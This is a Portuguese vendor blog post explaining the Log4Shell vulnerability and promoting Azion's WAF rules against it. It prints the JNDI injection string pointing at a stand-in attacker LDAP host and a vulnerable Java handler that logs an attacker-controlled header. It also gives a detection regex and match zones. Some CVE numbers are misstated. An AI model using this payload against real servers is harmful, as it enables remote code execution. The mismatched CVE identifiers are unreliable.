Desde a descoberta da CVE-2021-44228 (também conhecida como Log4Shell), a Apache lançou vários patches para resolver vulnerabilidades no seu popular software de logging Log4j. A velocidade com que essa história se desenvolveu demonstra como, mesmo depois de um ciclo de correção, os ataques zero-day representam uma ameaça para as equipes de segurança, já que os cibercriminosos estão constantemente em busca de novos vetores de ataque e soluções alternativas para burlar as proteções.
Dada a gravidade dessa ameaça, é primordial que as equipes de segurança utilizem soluções robustas que protejam tanto contra exploits conhecidos quanto contra ataques novos e emergentes. Neste blog, mostraremos como o exploit Log4Shell funciona e discutiremos com mais profundidade como o WAF da Azion protege não apenas contra a CVE 2021-44228, mas também contra as variantes atuais e as que certamente aparecerão no futuro.
O que é CVE 2021-44228 e como funciona?
A CVE 2021-44228 é uma vulnerabilidade RCE no log4j, uma ferramenta open-source para registro de logs bastante popular e amplamente utilizada em aplicações Java, que permite que invasores carreguem códigos de uma fonte externa e os executem em servidores. A CVE afeta o Log4j desde a versão 2.0-beta-9 até a 2.17.0. O patch inicial (2.15) foi posteriormente descoberto como incompleto, o que resultou na emissão de outra vulnerabilidade crítica, a CVE-2021-45056, que também detalhou a ameaça de RCE em versões anteriores à 2.16 quando usado com configurações Log4j não padrão. É recomendado que todas as equipes que usam Log4j atualizem para a versão mais recente (atualmente a 2.17.1) o mais rápido possível e fiquem atentas às novas notícias sobre essa ameaça enquanto a equipe de segurança do Apache continua fazendo investigações.
Entendendo o ataque
Essa vulnerabilidade é resultado do “plugin JDNILookup”, que foi adicionado na versão 2 do Log4j, e permite que um programa Java localize dados fazendo interface com serviços como LDAP, DNS e RMI. No entanto, um recurso padrão do Log4j chamado “Message Lookup Substitution” possibilita que certas strings sejam substituídas, permitindo que invasores executem RCE na aplicação que registrou a string.
Por exemplo, um invasor pode escrever uma string como ${jndi:ldap://some-attacker.com/a} e adicioná-la a qualquer evento que foi registrado, como cabeçalhos User-Agent, o que levaria a instância vulnerável do Log4j a fazer queries LDAP ao URI incluído. O servidor LDAP retornará as informações do diretório, incluindo uma classe Java que é carregada na memória e executada pela instância Log4j.
Um exemplo de código mais detalhado é fornecido abaixo, conforme descrito no passo a passo referência da empresa de segurança open-source LunaSec:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName());
/**
* A simple HTTP endpoint that reads the request's x-api-version header and logs it back.
* This is pseudo-code to explain the vulnerability, and not a full example.
* @param he HTTP Request Object
*/
public void handle(HttpExchange he) throws IOException {
String apiVersion = he.getRequestHeader("X-Api-Version");
// This line triggers the RCE by logging the attacker-controlled HTTP header.
// The attacker can set their X-Api-Version header to: ${jndi:ldap://some-attacker.com/a}
log.info("Requested Api Version:{}", apiVersion);
String response = "<h1>Hello from: " + apiVersion + "!</h1>";
he.sendResponseHeaders(200, response.length());
OutputStream os = he.getResponseBody();
os.write(response.getBytes());
os.close();
}
}
CVE 2021-44228 vs. CVE 2021-45056
Na versão 2.15, o patch inicialmente lançado pelo Apache para combater o exploit Log4Shell por padrão desabilita o acesso ao JNDI para prevenir conexões remotas na busca de mensagens. No entanto, foi descoberto posteriormente que o RCE ainda era possível em alguns ambientes caso as equipes tivessem habilitado manualmente uma configuração de logging específica, a formatMsgNoLookups. O Apache explica esse problema com mais detalhes no site Log4j:
Quando a configuração de logging usa um Pattern Layout não padrão com um Context Lookup (por exemplo, $$ {ctx: loginId}), os invasores que têm controle sobre dados de entrada do Thread Context Map (MDC) podem forjar dados de entrada maliciosos usando um padrão de lookup do JNDI, resultando em vazamento de informações e execução remota de código em alguns ambientes e execução de código local em todos os ambientes. (Apache)
Na versão 2.16, o recurso de lookup de mensagens foi completamente removido e o Log4j agora desabilita o acesso ao JNDI por padrão.
Como o WAF da Azion protege contra o Log4Shell
Para impedir a CVE 2021-44228, a equipe de segurança da Azion implementou a regra default rx:jndi:dns\jndi:rmi\jndi:ldap para evitar padrões de lookup JNDI que permitiriam que invasores explorassem os diferentes serviços de diretório (DNS, RMI e LDAP ) com o qual o JNDI faz interface.
O outro parâmetro é a “match zone” (ou zona de correspondência), onde nosso WAF busca o padrão e evita que haja SQL e RCE no corpo da request, nos parâmetros de consulta de request (query string), no Cookie ou no User-Agent do cabeçalho da request, ou no X-Api-Version, como pode ser visto a seguir:
mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie|$HEADERS_VAR:User-Agent|$HEADERS_VAR:X-Api-Version
Embora os cabeçalhos HTTP pareçam ser o local mais comum para a inserção de strings, os invasores vão além dos vetores de ataque comuns para escapar dos bloqueios à medida que as organizações fortalecem suas proteções. A verificação de strings em cada uma dessas zonas de correspondência garante que nosso WAF possa impedir os invasores que procuram explorar novas strings e vetores de ataque.
A regra da Azion entrou em vigor no sábado, 11 de dezembro de 2021, às 8:40 PM PST (UTC-8), e protege todos os clientes da Azion que têm o WAF habilitado e no modo de bloqueio. Essa regra também protege os clientes contra a CVE 2021-45056 se a RFI (Remote File Inclusion) estiver habilitada em qualquer nível de sensibilidade. Para instruções mais detalhadas sobre como implementar essa regra, você pode ver nosso post anterior sobre esse assunto.
Para ter uma visão geral de como o WAF da Azion está protegendo sua aplicação, os clientes da Azion podem navegar até a guia WAF no painel do Real-Time Metrics para ver o número total de requests e as que foram bloqueadas, qual regra acionou o bloqueio e onde ele ocorreu. Além disso, é possível ter uma visão detalhada de requests específicas com nosso mecanismo de queries complexas, o Real-Time Events.
Proteção contra variantes
Conforme mostramos anteriormente, um WAF eficaz pode proteger as empresas contra RCE, RFI e outros ataques contra aplicações web, mas nem todos os WAFs são iguais. Tradicionalmente, os WAFs bloqueiam os ataques comparando as requests com as assinaturas de ataques de padrões de ataque conhecidos. Se os padrões corresponderem à nova request, o WAF pode filtrar a request ou gerar um alerta. No entanto, esse tipo de proteção cobre apenas padrões de ataque conhecidos e não as variantes novas e mais difíceis de detectar.
Para acompanhar essas variantes, WAFs baseados em assinaturas devem ser constantemente atualizados com novas assinaturas para manter sua eficácia. À medida que mais e mais assinaturas são adicionadas, o tempo e os recursos necessários para filtrar as requests aumentam, resultando na diminuição do desempenho e no aumento dos custos. Além disso, cada nova assinatura protege apenas contra métodos de ataque conhecidos, deixando WAFs baseados em assinatura vulneráveis a ameaças zero-day enquanto os invasores exploram novos vetores de ataque e encontram soluções alternativas para regras WAF comuns.
O WAF da Azion oferece para WAFs baseados em assinatura desempenho e segurança superiores, pois usa um método baseado em scoring que analisa a sintaxe de diferentes padrões de ataque e os condensa em conjuntos de regras simples e eficientes para diferentes classes de ataques, como SQL, RFI e Directory Traversal. Por exemplo, os usuários que habilitam RFI ativam um conjunto de regras que atribui uma pontuação a diferentes critérios que são comuns no payload de RFI. Normalmente, critérios como os seguintes encontrados em Body, Query String ou Cookies aumentariam a pontuação de uma request:
- http://
- ftp://
- php://
Se uma request for superior a um determinado limite – que nossos clientes WAF podem ajustar para atender à sensibilidade desejada – o WAF da Azion bloqueará automaticamente a request. Com a CVE 2021-45056, a adição de padrões de lookup JDNI a essa categoria de ataque significa que qualquer tentativa de usar jndi: dns, jndi: rmi ou jndi: ldap colocaria a request acima do limite, fornecendo a mesma proteção tanto para a CVE 2021-45056 quanto para a CVE 2021-22448.
Neste e em muitos outros casos, nosso WAF baseado em scoring permite que a Azion bloqueie proativamente variações nos padrões de ataque antes que eles sejam reconhecidos pela comunidade de pesquisa de ameaças, fornecendo proteção mais robusta contra ameaças em desenvolvimento do que os WAFs baseados em assinatura podem oferecer.
Conclusão
Log4Shell é uma ameaça crítica e generalizada, que provavelmente causará estragos nos sistemas de segurança por um bom tempo. Para permanecerem protegidas, as equipes de segurança devem seguir a recomendação do CISA para instalar um WAF com regras que atualizam automaticamente e suas diretrizes para identificar e mitigar ativos vulneráveis. E com o WAF da Azion, que usa proteção baseada em scoring e filtra requests no edge, as organizações podem obter proteção mais robusta e com melhor desempenho contra essas ameaças críticas!
